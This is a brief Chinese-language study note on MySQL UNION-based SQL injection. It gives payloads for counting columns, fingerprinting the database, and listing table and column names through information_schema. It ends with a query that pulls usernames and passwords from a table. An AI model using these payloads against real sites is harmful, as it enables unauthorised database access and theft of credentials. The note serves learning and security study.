sql注入简要mysql注入笔记

数据库名

        表名

                列名

                        数据

注入点存在条件:

可控变量,数据库查询

判断注入:

猜列名数量(字段数) order by

index.php?id=1 order by 4

报错拆解准备:

index.php?id=-1 union select 1,2,3,4

信息收集:

数据库版本:version()

        高版本:使用名为information_schema数据库

        低版本:暴力破解

数据库名字: database()

数据库用户: user()

操作系统: @@version_compile_os

查询指定数据库名ybb下的表名信息:

index.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='ybb'

查询指定表名zq下的列名信息:

index.php?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='zq'

查询指定数据:

index.php?id=1 union select 1,name,password,4 from zq

猜解多个数据可采用:limit  x,1 变动猜解

知识点:

1.在mysql5.0以上版本中,mysql存在一个自带数据库名为information_schema,他是一个存储记录有所有数据库名,表名,列名的数据库,可以通过它获得指定数据库下面的表名或列名信息。

2.数据库中符号"."代表下一级,如xiao.user表示xiao数据库下的user表名

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值